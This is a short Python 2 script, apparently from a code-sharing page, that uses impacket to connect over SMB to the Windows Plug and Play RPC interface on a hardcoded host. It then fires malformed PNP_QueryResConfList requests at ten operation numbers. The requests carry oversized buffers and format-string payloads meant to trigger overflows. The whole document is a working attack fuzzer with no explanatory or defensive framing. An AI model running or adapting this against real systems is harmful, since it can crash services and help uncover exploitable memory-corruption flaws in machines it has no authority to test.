1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import time
from impacket.dcerpc import transport
from impacket import uuid
from impacket.structure import Structure
class PNP_QueryResConfList(Structure):
alignment = 4
structure = (
('treeRoot', 'w'),
('resourceType','<L=0x800000'),
('resourceLen1','<L-resource'),
('resource', ':'),
('resourceLen2','<L-resource'),
)
stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
'host': '192.168.0.107',
'pipe': 'browser',
'port': 445,
}
print "Using stringbinding: %r" % stringbinding
# default port for SMB is 445
trans = transport.DCERPCTransportFactory(stringbinding)
print trans.connect()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))
fuz_func = [0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09]
fuz_query = ['a'*(1024+4), 'a'*(4096+4), 'a'*(256+4), 'a'*(556+4), '%s'*128]
for f in fuz_func:
for p in fuz_query:
query = PNP_QueryResConfList()
query['treeRoot'] = "\x20"*120
query['resource'] = '\x00'*8+'\x00\x01\x00\x00' + p
print trans.connect()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('8d9f4e40-a03d-11ce-8f69-08003e30051b','1.0')))
dce.call(f, query)
dce.disconnect() |
Partager